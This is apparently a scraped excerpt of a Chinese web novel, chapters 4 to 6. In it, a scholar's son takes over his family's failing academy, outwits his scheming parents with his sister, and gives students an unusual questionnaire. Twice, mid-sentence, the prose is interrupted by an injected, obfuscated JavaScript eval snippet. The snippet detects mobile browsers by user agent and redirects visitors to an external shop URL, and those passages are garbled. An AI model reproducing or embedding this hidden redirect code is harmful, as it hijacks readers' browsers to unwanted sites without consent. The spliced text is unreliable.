“既然现在你既不打算科考,短时间内也不能经商,不如来书院帮你爹教教学生,处理一应杂项,如何?正好我也能专心照顾你爹,让他早日养好身子,你们父子俩再讨论不迟。你们真是没一个省心的,也不知琅月独自一人在光都怎么样,信里也不见说说自己的情况。” 所有有关于科举的事情,林清和总是会打起十二分精神,这不,他的科举小雷达一下子就启动了,原来如此,李大夫回去前最后一句话是这个意思,好大的一个局啊!老头子真是废了不少心思,肯定是看着流言顺水推舟,说不定还添了一把火。 老头子一定会以为他认为这不失为一个折中的方法,等病好顺理成章将他留下,紧接着打包去春闱,还会美曰其名:老带新,让有经验的人带带不至于手忙脚乱。 林清和还在担心,在教书的同时不仅能反复复习科举知识,而且就在老头子的眼皮子底下,有几分本事在平日里的教书中也一定会展露出来,到时候他这些年走捷径的方式被知道了他根本没有认真学习科考,他不得被老头子赏几顿竹笋炒肉。 好在还有点操作空间,书院杂务还是可以作为经商的一条道路的,他完全可以参照前世体系成熟的综合性大学为目标,打造一个集士农工商为一体的古代大学,多线发展,总有一条道路可以走向经商顶峰。 看着林清和沉思许久的模样,木竹秋心里一阵阵打鼓,想这么久不会是发现了吧,以前一听说有关于书的事情就格外敏锐。她不禁握紧了林启春的手指。 不如,将计就计。林清和仔细看着父母二人交叠的双手,老头子鬓边那明显的粉白,脸上明显的粉状颗粒感,母亲躲闪的身体语言,他刚才怎么就没有看见呢? “娘你放心吧,我走之前琅月还好好的呢,吃好睡好身体倍棒。他过两个月就回来了,指不定能一举夺魁,拿下个状元,爹作为此届状元的师父一定会让青山书院名声大振,接下来的时间我会接手书院的,现在书院的先生和学子应该少了大半,杂务什么的我还是应付得来,还请娘放心照顾好爹,多修养些日子不着急来书院劳累,李大夫说了这病得慢慢养才行。” 林清和对白琅月很有信心,他是凭前世经验在生活读书,但白琅月确实打实是个活生生的小天才,他只介绍了一遍前世的一种非常好用的思维学习法,白琅月立马能活学活用,举一反三,他当时都惊呆了。 果然,人和人之间是有差距的,不能比不能比。 “大四月,你答……娘是说”木竹秋双眼一亮又迅速按捺住激动的心,镇定说道:“你确定吗,娘也可以帮你的,不要为难自己,书院的事情颇为繁杂,短时间内会忙的脚不沾地。” “放心吧娘,我平日里好歹没少帮老……帮爹跑腿,处理书院一些细碎的小东西。爹虽然不能劳累,但偶尔还是可以批改作业的,这不还有娘可以一块帮忙批改,毕竟学子少了许多。对了,娘,爹平日身边离不了人,小四月在家闲着也是闲着,让她来帮帮我吧。” “也好,多出来看看也是极好的。”木竹秋沉吟片刻,就答应了林清和的要求。 成了!夫妻两内心暗自高兴,终于把孩子套牢在身边考科举了,全然不知林清和凭借着一句来书院教教学生就把事情本质一下子猜中了,于是将计就计,拉上小四月准备搞把大的。 爹娘诶,你们就先高兴高兴,儿子的招要记得接上哦。林清和微笑看着房间里气息愉悦的夫妻二人。 4. 第 4 章 林府后院内一处庭院之中,四月初温暖的阳光穿过树顶细碎倾落在躺椅中手执书卷的青衣女子上,此人正是林槐夏,林府的大小姐,如今年纪已有二十二仍未成亲,在大光王朝是极其少数的存在。 当初林槐夏到了合适的相看年龄,父母是打算等林清和春闱结束在进行相看,然而林清和春闱失利,林槐夏直接放话:大哥一日未能顺利春闱中榜,她便一日不相看。 其中未尝没有林槐夏自己的小心思,不管怎么样方法有用就行,林清和无所谓,毕竟人人都可以选择自己的人生,倒是木竹秋对她的终生大事忧愁不已,可林槐夏一口咬定非要林清和春闱成功,林启春二人对女儿的说法毫无办法,只能压着儿子快点考上贡士。 林槐夏早就听说林清和今年春闱失利,特地在庭院内等待哥哥的到来,不选择去前院凑热闹,不然最后的火又烧到她的身上,在这挺好的,有茶有点心有躺椅,无人打扰,惬意十足。 “小四月,小四月,你在不在?” 林槐夏轻轻翻过一页,含糊应了一声,眼神瞟向院门前方竹叶交错间的走廊,林清和的身影在青绿其中隐隐约约闪现。 真希望笨蛋哥哥能一直春闱失利,她就不用相看成亲,林槐夏视线逐渐从书籍上偏移,一片阴影落下,林清和的脸出现在林槐夏眼前。 只是这次笨蛋哥哥没有吐槽爹的过分,娘的纵容,夫妻俩的恩爱,反而是以一种悲伤的表情说道:“小四月,这回爹被我春闱失利又不肯继续科考的话气吐血了,娘把我打发去管理书院,你去看看爹吧。” 林槐夏轻蹙眉间,这样大的事情为什么没有人通知她,随后跟着林清和去往书房了解情况,之后就被木竹秋抓着手泪眼婆娑地恳求去书院帮林清和的忙。 “你哥哥是个不省心的,琅月现在也不在家里,你爹身子又不好离不了人,现在独你性子沉稳些,看着点你哥哥,别折腾出什么幺蛾子。”木竹秋暗自心惊,吐血的事情忘记让侍从去告诉小四月了,这大四月怎么突然杀了个回马枪,还好没急着给夫君洗脸,小四月会不会看出来夫君脸上的不对劲。 啧,居然给圆回来了。林清和眯着一双凤眼,十指依次落下轻轻敲着大腿,算了,小四月还是很重要的一环,不能缺少,不然怎么能给父母一个大大的震撼。 “你多帮帮你哥哥,你们一起把青山书院处理好,别让其他书院看了笑话。” 环视屋内,林槐夏还真的发现这个家没她不行,生病的爹,落泪的娘,容易被人骗的哥哥,唯一一个靠谱的哥哥还远在光都殿试,只能点头答应。 此时的她哪里能想到,现在这个书房里只有她一个天真的人相信了这一切,不知道真相的人只有她一个人。这个家里最像小白兔的人居然是她,而她哥则是将狡诈如狐的父母坑了一把。 “明日你们跟我去书院,娘让人把情况说清楚,你们接下来要做些什么。”木竹秋挂起一个温婉柔弱的微笑:“娘要照顾你们爹了,你们走吧。” 待兄妹两人离开后,林启春才缓缓睁开眼睛,长长吐了一口气,笑骂道:“这小兔崽子还杀了个回马枪,喊小四月过来,算他有良心。” “你们父子过招把我搅浑进来,也不怕大四月发现,幸好之前设想了一些突发-情况怎么应对,夫君你说你怎么对自己的儿子这么狠心呢。”木竹秋斜睨了一眼林启春,从小就开始骗儿子可真是行,不过她也没少骗就是了。 想想小时候的三个崽崽多可爱,多好玩啊,只可惜现在都大了不好逗趣了,一点反应也不给。 林启春呵呵直笑:“娘子不也乐在其中,刚才那个反应真是令人拍手叫好,大四月怎么说来着,越是漂亮的女人越会骗人,演技派。” 小幼崽总有些奇思妙想,小时候的想法也与成年人格格不入,仿佛自成一体,总在震撼他们这些大人的世界观。 木竹秋上前伸手小小推了一把林启春的肩膀:“你拐着弯说我呢,林启春。” * 青山书院是林启春在官场仕途不顺后上书辞官归家,一手建立起来的,其中大多数的先生都是在江川府内托人打听介绍,学生多是定江县内的学子,少数是从江川府来的,都是听闻他状元的名头而来。如今书院内也剩不下几个教书先生和学生,都被别有用心之人挖走了。 一早,木竹秋就带着林清和兄妹二人前往书院,并让书院里的林总管把剩余的教书先生半个时辰后通知来院长房间里,现在让木总管带着去书院各个地方给他们具体说说书院杂务。 “大少爷,大小姐,好久不见。”木总管恭敬地给他们作了一揖,不卑不亢,一派书生模样。 木总管是木竹秋从娘家带来的陪嫁仆人之一,为人精明干练,专门为木夫人管理府外的产业,其中包括书院、商铺、田庄和船运,很得木竹秋的重用。 按理来说,书院的管理不应该直接由他进行介绍,奈何这家书院是夫妻合开的,除了他之外还有一位林启春安排的林总管,林总管在书院里和教书先生和学子的交流比较多,而木总管则是管理书院食堂,采购一应事宜,对外交流较多。两人分工合作,各有所长,一直以来的合作都不错。 “木伯伯也就两三个月没有见,用不着那么客气,和之前一样喊我们就行。”林清和弯起一双凤眼,盈盈笑意浮上眼尾。 “木伯伯按你自己的意愿来便是。”林槐夏不着痕迹白了一眼林清和,每次都来这一出,不累吗?小时候人还没腿高,一张小嘴叭叭吹得木伯伯天天带他们两个出门玩,偶尔一两次才带她出去,她记仇,哼! 木竹秋失笑,兄妹俩相处时间一长还是会偷偷使绊子,小孩子心性。 “是,请跟我来。”木昭领着他们一路走到书院小食堂的后厨内,召集厨房内部雇佣者站在空地上。 “书院内我负责的部分是学子食堂供应,马场和采买物资以及书院内的洒扫。目前小食堂内有厨子有三名,分别负责早中晚三餐,其余人手二十人。厨房管事是邱师傅,仓库看守是巫老头。”木昭指着站在前排一膘肥体壮穿蓝衣的中年男子和一穿黑衣的干瘪老头说道。 “这是今后管理你们的林少爷和林小姐,别有那小心思,少爷小姐可不是能宽容你们的人。” 厨房众人点头称是,随后木昭就让人散了,各自去忙。 紧接着又在书院的跑马场上把洒扫仆役,马夫叫到一起,和仆人们介绍了兄妹两人从明日开始接手书院。 马场的马匹不多,只有二十匹,刚好够一个班的学生用,还是林启春花了大价钱托人从北地买回来的。马夫有三人,洒扫有十人。 马夫头子是一个沉默寡言的黑脸汉子,姓胡,大家都叫他胡马头,洒扫管事是他婆娘,张大妈。他们的两个女儿,一个跟着张大妈做洒扫的活,另一个去了小食堂那做帮工。 一家子直接签了六十年的活契,也和家生子差不离。 据说是那年七八月份雨水多发季节时,临江府靠的那条大江-泰江,遇上暴雨涨水崩堤冲破了好几个临江的村镇,房屋被毁,田地受灾严重,走投无路之下来到定江县,所幸还剩点银钱,托牙行寻找差事,运气好点签活契,运气不好自卖自身。 很快地,他们就回到了院长的房间内,此时已有几位先生在内坐着与木竹秋谈话,林总管站立在木竹秋下首,只见此时木竹秋面露难色,眉宇间一股忧愁。 “扣扣。”门扉被木总管轻叩两下,轻而易举替木竹秋解了围。 “进来吧。”木竹秋轻声说道。幸好,稳住了,再问下去先生又要没了。她看向林总管淡淡说道:“林总管,你给介绍下你在书院内负责什么事项,以后就由清和负责。” 几位先生一惊,抬头看向主座的女子,不可置信,青山书院之势难道已经无法挽回了吗,由着一个春闱失利的举人负责,以后还有考上进士的学生吗,就算是林启春卧病在床,木竹秋自己负责都比林清和要好,这些年木竹秋的才情言论他们都看在眼里,她无疑是值得的。 其中一位先生突然起立,张口就说:“我不同意,林清和春闱接连失利,此时由他负责处理书院事务不亚于雪上加霜。” 林清和想不到木竹秋直接在几位先生和总管面前直接宣布让他负责主要的教学工作,做父母的难道都这么先斩后奏,不顾个人意愿的,现在要插话进去,想想也不可能,在场的先生看起来对他怨气很大的样子,他唯有继续保持沉默。 “我记得这位先生……姓胡,对吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133429|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”木竹秋以肯定的语气说着问句,拿起茶杯轻抿了一口,动静相宜,淡若秋菊。 胡先生点点头,木竹秋放下茶杯,目光直视在场书院仅有的四位的先生:“我很感激各位先生们在青山书院这么艰难的时刻都没有放弃离去。”说着对着先生们就是起身一福。 几位先生连忙回应:“夫人客气了,客气了。” “青山书院能有今日也离不开各位先生的帮助,只是现如今,书院名声一落千丈,夫君卧病在床,身旁须得人照看,我也无心照管书院,只能让这孽子来尝尝教书育人的滋味,才不辜负夫君对他从小到大的教导。” 话毕,木竹秋看向陷入沉思的四位先生:“若各位先生有顾虑也可休息两日在家中考虑,正巧这两日书院也到了旬休的时候,届时要走要留都随先生们。” 短短几句话,感情这锅都是我的,不是吧,娘亲,难道我不要形象的嘛,林清和面表无情,行啊,那就卷起来,教书育人,来吧,我要把他们的伞都撕烂,谁也不能有一把好伞。 “是极,父亲身体多有不便,大夫说想要恢复得好需要很长一段时间,清和很期待作为院长和各位先生们一起共事。” 来啊,我,你们的顶头上司,青山书院院长,四舍五入一下大小也是个中学校长,留下我就要你们开始写教案,出个性化教学方案,如何让学生更加德智体美劳全面发展,教出更加符合当今社会的官员。 林槐夏藏在袖子里的手捏紧了拳头,这个笨蛋到底再说什么啊,他看不到先生们都时因为他才不不愿意留下吗,不能说清楚,他单纯只是来当个教书先生吗。 木竹秋也没想到林清和当场给她来了个大的,这可不行,这四个先生可是仅剩的独苗苗了,刚才那么说以退为进罢了,这怎么还搞大了。 “我看未必。”胡先生口吻肯定,转头向木竹秋说道:“林夫人,在下就先行回去准备今日的课业,告辞。” 出门路过林清和时,还对他冷哼了一声。余下三位先生也接连而出,好在并未对林清和有什么出格的举动,甚至最后一人还替胡先生对林清和解释:“胡先生那人的脾气就是这样,你不要放在心上。” “白相,你和他说什么。”胡先生凛冽的嗓音从前头传来,名为白象的年轻教书先生抱歉地对林清和笑了笑,加紧脚步离开了院长房间。 看着先生们远去的背影,林槐夏直接上手拧了一下林清和,骂道:“你是笨蛋吗,哥哥。书院只剩这四个先生了,气跑了哪里来的教书先生,我问你。” “嘶!放手,你先听听林伯伯怎么说,说不定都不需要这么多的先生,林伯伯,书院还剩多少的学生?”林清和摸着腰间,加快脚步走进房间,远离林槐夏这个不好惹的妹妹。 “回大少爷,书院内学生目前只剩下三十名学生,大都是秀才,少数还未考取秀才。先生目前仅有四名。”林总管恭敬回话,瞄了一眼木竹秋的脸色:“书院分为三个院,秀才,举人,贡士。这三个院有分别分为甲乙丙三个进度不同的班,甲班最好,乙班居中,丙班末尾。” “学生每月进行一次考核,若三次不过降班次,丙班再三次不过就收拾东西离开书院。学子每半月有三日旬休,平日里吃住都在学子院内。学子院内一应设施需要定期检查,由书院维修更换,若平时学生有什么事会喊王老头,王老头不能处理就会喊先生。” 懂了,杂事有舍管,涉及恶性事件喊老师。林清和点点头。但不过这个教学模式是否过于粗糙,一月才考一次,怎么对得起经历九年义务教育的周考、月考、期中考,期末考,五年模拟三年高考。 况且,作为老师不需要考核吗,肯定要的,还有就是开设课程只有科考的项目也未免过于单一,不利于学生的全面发展,都要当官了怎么能什么都不懂,需要大力引进一些新课程,最好贴近百姓民生。 “咳咳,清和既然你决定接下院长这一位置,娘亲希望你说到做到。”最好一直在书院内教到三年之后,只是她的内心为什么会有种不祥的预感。 “当然,娘亲。”走古代特色科举教育之路,学子文能提笔安天下,武能上马定乾坤,上能入朝堂为官造福一方百姓,下能开拓各行各业新蓝图,共创繁华盛世。 5. 第 5 章 想想这些美好的场景就知道这些学子要接受多少的科目课程学习折磨,光是想想林清和都要笑出声了,反正现在又不是他学习,他当然是主科目,副科目,兴趣特长一块上,这才美妙。 一起淋雨多畅快,怎么能辜负老头子的十几年以来的辛勤教导,他当然是通通给到接下来的学子。 * 青山书院内靠近属于先生们的房间一处四面开阔的亭子内,四位先生各自或站或坐,神情不一。 “好了,这里视野开阔,若有人靠近一看便知,胡宋明你有什么事直说吧。”其中一位慢悠悠捏着着山羊胡,眯着眼的刘野,刘先生说道。 其余三人心里也清楚来到这里究竟所为何事,视线都集中在胡宋明身上。 “大家心里都清楚是为了什么事,时间不多等会儿就要去教学,在下希望各位畅所欲言,直言不讳,不要有所隐瞒。”胡宋明的目光一一扫过众人:“我先来吧,我会留在青山书院内继续教学直到林院长回来。” “胡先生,我以为……”白相听到胡宋明的话不禁哑然,他以为胡先生会一气之下从青山书院内离开,原来并不是啊。 “以为什么?”胡宋明双目瞪圆看向年轻的白相:“林院长待我有知遇之恩,若不是林院长我现在不过是一个连饭都吃不饱的落魄秀才,早就不知道死在哪个角落了,哪有今日的风光。” 胡宋明早年家贫,仅有寡母一人持家,送儿子科考,平日里连稀粥都喝不上,每日煮些野菜囫囵过去,还要日日刺绣,眼睛都熬红了,只想攒下银子报考科举。胡宋明也争气,在科举严苛的光理帝时期考中了秀才。 可惜他的娘亲听闻他中秀才后高兴之下又忧愁银钱,日日刺绣瞎了眼病逝而终,胡宋明惶惶然不知所措为寡母举办葬礼,如同失去方向的飞鸟,正当此时,林启春来到此处寻找合适的教书先生,于是把尚在失去亲人悲痛之中的胡宋明带回了书院。 对此胡宋明深表感激,若没有林院长的帮助,他该浑浑噩噩不知多久才能从痛失血亲的苦难中清醒,时间一久岂不是连寡母的养育之恩都浪费了, 白相不由得讪讪,原来还有此事:“那胡先生怎么对林少爷如此?” “你刚来没几年不清楚情况,那林少爷说起来也算是个少年天才的人物,可惜志不在科举,旨在经商。”一直未开口身形微胖的柏季同,柏先生叹惜道。 十六得举人,放在哪个朝代不是风流人物,可惜至今未得贡士,后来模糊有林家下人碎嘴说了些林清和父子两吵架的内容,方得知林清和想去经商,不想入朝为官。 “可林少爷刚才也没有对接手感到抗拒,反而极为真诚,很是期待与我等共事。”白相不由得疑惑胡宋明的动机。 “哈哈哈,这就是你的不足了,白相除了算学你也要好好的关心其他事情啊。”刘野捏着山羊胡哈哈大笑道:“胡宋明就是激林少爷把心思都放在书院上,别去做点什么乱七八糟的事。” 少年人总是冲动又热血。 白相点点头,原来如此。 “那你们是怎么想的,是走是留?”胡宋明出口问:“有什么想法尽管说出来。” “胡宋明就许你一个做好人不成,要是想走早就走了,何必等到现在。”柏季同白了胡宋明一眼。 舆论风波开始不久就有学子不堪其扰,其中有学生们陆续去往其他书院或事离开学院,流言喧嚣其上,先生们也受到不小的影响,陆陆续续有其他书院来邀请先生们离开这里,人才大批流失,学生们也因此跟着先生离开。 “这就是胡宋明你的不足了,哈哈哈。”刘野微微一笑:“我们几个你还不放心?” “放心放心,只是心中不安想再次确认罢了。”胡宋明连连点头:“那我们回去吧,学生们该等不及了。” 话语未尽,书院中就已经响起了铛铛钟声,震起群鸟,林叶簌簌,钟声余音回荡在苍青的天空之下,四位先生踏着钟声匆匆赶往学堂。 林清和与林槐夏漫步在书院中,欣赏着书院内的景色,说起来书院内的每一处院子景色都是林启春和木竹秋精心设计,既有精巧秀丽的南方水色,也有潇然若风的高山流水之境,正可谓是,五步一景,十步一画。 可见夫妻俩的园艺建造审美之高雅,对书院用心程度不亚于自己的两个孩子,付诸了许多时间精力。 “好久没有在书院里这么溜达了,上一次还是在十六岁的时候,平时都是来接受老头子的教导,步履匆匆,半点也没空欣赏,不知错过了多少美景时光。”林清和欣赏着眼前的美景,时值五月,广玉兰花开,树型高大,叶绿花白,点缀其间,味似荷花,芳香馥郁,令人心旷神怡。 五月开的花很多,但像广玉兰一样寓意纯洁高雅,不屈不挠,生生不息,符合书院风格的却不多,难为林启春他们去找了许多种不同的花草植物栽种。 闻着广玉兰清香的味道,林槐夏不由得点头:“嗯嗯,我记得,在哥哥你还聪明的时候。”哥哥的聪明时间保持的太短,幸好有这个原因,她暂时不用去相看,考虑成亲的事。 兄妹俩就着书院儿时往事闲聊,漫无目的地在书院内乱逛,了解当今书院的日常运营状况,偶尔说一两句书院如今的现象。 路过学堂那还特地站在走廊窗边停留,听白相讲了一道算学题如何计算,堂下子弟睁大双眼,满目懵懂的表情,真真是有趣极了。 林清和嘴角挂着愉悦的微笑,周身快活的气息令妹妹好奇:“哥哥你看起来为什么这么高兴?” 他笑而不语,目光直直看向窗内抓耳挠腮的学子们,顺着他的目光,林槐夏精准的看到那个学子苦恼的神情,这是什么毛病,这算学题不是很简单吗,为何会听不懂。 看到学子们今天也在沉沦苦海,哦,不,学海之中,林清和也是开心了,不仅仅是白先生这里的算学课令学子摸不着头脑,胡先生的墨义帖经,柏先生的诗赋以及刘先生的策问也是一样。 “我感觉我们书院的科目还是太少了,刑法怎么能没有呢?不知道刑法怎么为官判案?”林清和喃喃道:“还有其他一些必要的科目,比如说如何在野外独自生存就有很多可以展开学习的地方,驾车、辨别方向、如何躲避野兽、烧烤、辨别能吃的植物,受伤的药物等等。” 听到林清和的喃喃自语,林槐夏直接给了自家笨蛋哥哥一下,没好气地说:“只有四个先生,现在的武先生还是马夫暂代教骑马,哥哥想点实际的。” 还是和原来一样异想天开,不看现有实际情况,看来还是得我把控一下哥哥的想法,不要让他飞去天上,适时落到实际地面上,能有顺利实施的可能。 “小四月有什么想法,说出来我们一起讨论讨论,书院的未来发展可是掌握在我们两个人的手上,老头子巴不得我一直在书院教学生,哪里也不去。”林清和笑意盈盈,随口而说:“难道小四月不愿意见识更多风景吗?” 这一下子可说到了林槐夏的心坎,明明兄妹俩从小到大接受的教育都是一样,为什么哥哥可以去科举考功名,而她只能乖乖在家,待年龄一到成亲嫁人,她打心眼里就不甘心。 “哥哥舍得?”林槐夏幽幽反问:“不会反悔?”笨蛋哥哥还是有优点的,比如说这张嘴,能将黑的说成白的。 “有何不可,小四月,出身不是你的选择,但人生才是你的选择,不要小瞧了自己,你可是和白琅月相当的天才啊,他能有多大的成就难道你就没有了吗?”林清和抬头瞥见相邻的院子探出一抹胭脂红枝头,白墙浓荫深绿,石榴花开,还未到盛花期已然灼人眼球。 哪来那么多歪理,林槐夏快速眨了一下泛红的眼睛,她心里其实也知道,林清和不愿意中榜其实也有她的一部分原因在,承担了来自她亲事的压力,还说不是笨蛋一个。 她伸手大力拍了一下林清和的背,脚步快速向前,准备拐弯走进相邻院落:“哼!我还需要你说吗,如今书院名声不行,缺少教学先生和学子,而书院的日常维护却没有减少,我们得想想办法开源节流,最重要的是尽快找到武先生,差使马夫教学时间长了,会让学生们产生怨言。” 青山书院的名声已经在定江县已经声名扫地,用马夫教学此事如果传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133430|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了,岂不是臭名远扬,林槐夏边走边皱着眉头想。 “书院的坏名声是个难题,想要解决还得看书院的教学质量,但是现在书院的教学先生都被挖空了,学子也走了大半,我们得另辟蹊径,想办法彰显书院的长处才会有人源源不断地来。现在需要做的是了解书院的教学情况,至于武先生……” 林清和微微沉默,复而开口:“我看不必着急,用马夫教学也挺好,起码让学子们懂得人外有人,不要小瞧任何人。怨言真与假,我们可以做个调查问卷,看看学子们能不能接受,最起码得搞清楚他们为了什么而读书,又为什么选择了青山书院。” 一张好的调查问卷可以看出被调查者的观点和行为,也可以很好地切入目前学生的基本情况,迅速得知学生的心理想法。 古人第一次做调查问卷应该很有趣,林清和跟上小四月的脚步,抬头看向火红的石榴花思考了一会儿,说道:“小四月,干脆四位先生们也一起做,如何?” “调查问卷哥哥你能告诉是什么先,可以吗?不要自说自话啊!”林槐夏忍不住对林清和翻白眼,她哪里知道什么是调查问卷,她又不是白琅月,光是看着哥哥就能知道林清和是什么想法。 “哈哈哈,我忘记了你还不知道,走,我解释给你听,回去合计合计怎么出调查问卷的题目。”林清和神采飞扬走在前面,眼神清亮闪着细碎的光芒。 他回过头看着林槐夏,嘴唇上翘:“林槐夏,我们要改变历史了。” 林槐夏脚步一顿,开什么玩笑,改变历史算什么,创造历史可不可以。 她的目光坚定向上,不客气地说道:“异想天开。” 过了三日,学子们休完旬假回到书院,脸上还在回味着假期的余韵,书院内又因学子们的到有了更多的人气。 左丘栾也是他们其中一员,此次归家好好享受了娘亲春风化雨般的温柔照顾,幸好爹不在,出门做生意去了,下次旬休也不知道能不能回到家,不过也不怕,这次他的小考成绩不错,得了乙上。 只可惜一回书院便又要再考上一次,说来这也是青山书院的优良传统,为了有些学子在家中也能下功夫苦心读书。左丘栾休假前的小考考得好,回去后没怎么用心温书,担心等会的小考成绩落下,此刻正捧着一本书在苦读,临时抱抱佛脚。 其余学子有的也和左丘栾一般作态,有的无所畏惧正和其他人说说笑笑,好不热闹。 铛……铛…… 院中心的古钟被用力敲击,发出绵长的回音,学子们纷纷回首端正身姿,等待先生的到来。 不知刘先生此次的策问会不会出的简单些,左丘栾暗暗希望,手里的书页又翻过一页。 只见刘先生手中拿着一叠白纸,上头似乎还有些字,难不成真的是简单的策问,要不然怎么会有字迹在上面,左丘栾嘴角浮现一丝微笑。 “秋宜年,来把这些调查问卷发下去,每个人一张,一个半时辰后你负责收上来。”刘先生喊了个前排的学生,是他在这个班看重的学生之一,于策问一门上学的不错。 调查问卷,是什么奇怪的策问题目,调查为何意?左丘栾不解,按捺住心中的疑惑,默默等待卷子的到来。 从秋宜年的手中接过卷子,展现在左丘栾面前的卷子上,字迹优美,工整清丽,难掩其中风骨,不是平时熟悉的刘先生的字体,左丘栾这才定睛仔细阅读题目。 姓名,年龄?左丘栾毫不犹豫挥笔写下,怎地还有性别,左丘栾尽管疑惑还是规规矩矩写下。 接下来的题目就更加五花八门:父母姓名、家中何以为生、父母生辰、自己的兴趣、擅长什么等等一系列有关于自身与家庭的问题,除此之外还有喜欢哪位先生的教学,为什么喜欢、最喜欢哪个院子、书院食堂喜欢什么菜、喜欢哪位同窗理由是什么、讨厌什么科目…… 尽管问题又多又杂,左丘栾还是一一写下答案,心中不禁想着:这还真是调查啊,好详细。 不知不觉间,左丘栾写到了最后倒数第三题:你为什么读书? 左丘栾一愣,为什么? 6. 第 6 章 为什么读书,为什么考科举,这还有为什么的吗,当然是为了父母,为了当官。 左丘栾脑子里的第一反应就是这个,读书科举做官无关他的个人意愿,完完全全就是为了父母的期望。 然而,他不能这么写,他必须要写好,写得漂亮,写得大气有志向。 左丘栾提笔,落笔,手却无法写下一个字,直到笔尖墨水晕染出一团黑墨,眼神才从虚空中收回,瞟见周围同窗们笔走龙蛇,才写下,不知。 再下一题:你想读书考科举当官吗?如果想,请说明原因,如果不想,请说明原因。 左丘栾有一种果然如此的感觉,悬着的心终于吊死了。他不由得抬起头看向上首的刘先生,眼神幽怨,没想到直接被刘先生的一个瞪视打回来了,左丘栾怂怂地收回目光。 没有头绪直接看向最后一题:如果不考科举做官,你想活出怎样的人生? 左丘栾还真没想过这个问题,一直以来他的路只有两条,考科举做官,考不过就回家继承生意。 或者说,左丘栾本身就是回避思考这个问题的,因为家中只有他一个独子,一直以来的路都是父母安排好,父母说怎么做,他就怎么做,没有自己的想法。 其实这次回来青山书院,他应该立即找先生,按照他娘亲的说法要在家温书,离开书院,实际上是去其他书院继续进学。左丘栾觉得这么做有些对不起书院和先生,打算拖一段时间再说这个问题。 就在左丘栾看着题目苦思冥想的时候,林清和与林槐夏悠悠来回巡视各个学子的答题情况,十分惬意地摇着手中的扇子。 “小四月,你做了这个问卷之后,再看他们做,感觉怎么样?”林清和现场访问林槐夏的做后感,主打一个就是贴脸开大。 面对林清和的询问,林槐夏扔了一个眼神,让哥哥自己体会,微微一笑:“感觉前所未有的好,现在好像有点能理解哥哥你喜欢别的学子做不出题目,苦恼的样子了。” 昨日做的那一份调查问卷,林槐夏敏锐地觉察出前面询问家庭和自身基本情况的问题都是让人卸下心防的一种手段,中间穿插一些比较尖锐的问题也会被答题人无意识地柔和,最后的问题基本就是一个王炸,自我质问,还要给出理由,还真是让人头疼。 “是吧,你终于理解我了。真想寄一份给小师弟,小师弟的答卷应该也是蛮有趣的,要不寄一份给他吧,有点好奇他的想法是什么。”林清和用折扇撑着脸颊,看着室内的学子有一些明显就是乱答的,打算等下筛选出来,叫他们重新抄题目回答。 “啊……居然还有人不好好回答我也辛辛苦苦做的题目,揪出来留堂重新答题。”林槐夏说出了林清和的心声。 林清和刷的打开扇子,遮住嘴角偷偷的笑意,露出一双笑得春花满三月的凤眼,附和道:“小四月说得对,是该揪出来。”这才不负他的题目,他可真开心。 视线从学子的身上离开无意间就撞上了刘先生,林清和弯了弯眼睛,撤下扇子,用口型向先生问好,并未出声。林槐夏也跟着一起点头问好。 刘野捏着胡子,冲他们摆摆手,示意他们赶紧离开,这下子可好,惊起一些学生朝外头看,连带着原本认真的其他学子也纷纷转头看向窗外。 “哇!居然有女子在外头,快看!”其中一个学子兴奋地喊道。 “肃静!肃静!”刘野在讲桌前严肃拍桌,“就你们这样课堂小考心都不静,下什么场,直接回家算了。” “刘先生,莫气,我来说两句。”林槐夏一脸平静,“各位学子们好,我是林院长的女儿,也是接下来的青山书院副院长,你们平常可以称呼我为副院长,希望你们此次小考顺利,不要留下单独被刘先生约谈。” “对了,我旁边这位是青山书院的院长,也是我的兄长。”林槐夏手臂微斜,掌心伸平,朝向林清和。 林清和毫不怯场,大大方方地说道:“继续答题,时间不多,遵从本心即可。” 众学子震惊地看向刘先生,希望他能说些什么,刘野没好气地说:“看什么看,人都走了,还不快点答题。” 左丘栾被刘先生的话镇了一下,定了定心神,遵从本心即可,他继续提笔写下不想科举做官的原因。 大意为:家中唯有子女唯有自己一人,家父常年在外行商,与家中亲人聚少离多,不忍阿父独自一人在外奔波,阿母常常静-坐思念垂泪,希冀尽早完成学业回家继承家业,帮助阿父在外行商,扩大生意往来,能独立支撑家族门庭。 一个半时辰后,学子们开始有序上交答卷。 也不知交上的回答能不能叫先生满意,先生会不会责骂没有求学之心,对科考不坚定。左丘栾忐忑不安的交上了调查问卷。 待刘先生收齐了卷子,嘱咐他们今天下午的科目改为独自在秀才院内温书,便拿着卷子匆匆离去。 刘先生离开后,剩下的学子也陆陆续续准备离开,左丘栾一边收拾笔墨纸砚,一边忍不住对旁边的学子小心翼翼问道:“刘兄,你的题目都怎么回答的?” 那学子扫了左丘栾一眼,并未说话,只安静快速的收拾东西离开秀才院。 “怎么说话的,人家怎么回答不行,你怎么不对人家先说你的答案啊。”另外一位还在收拾的学子嘴毒还碎,“你来和我说,我保证回答你。” 左丘栾所在的这个班是秀才院的丙班,人大多良莠不齐,有些甚至还没有考上秀才,正在说话的这个最毒学子就是一个没有考上秀才的。 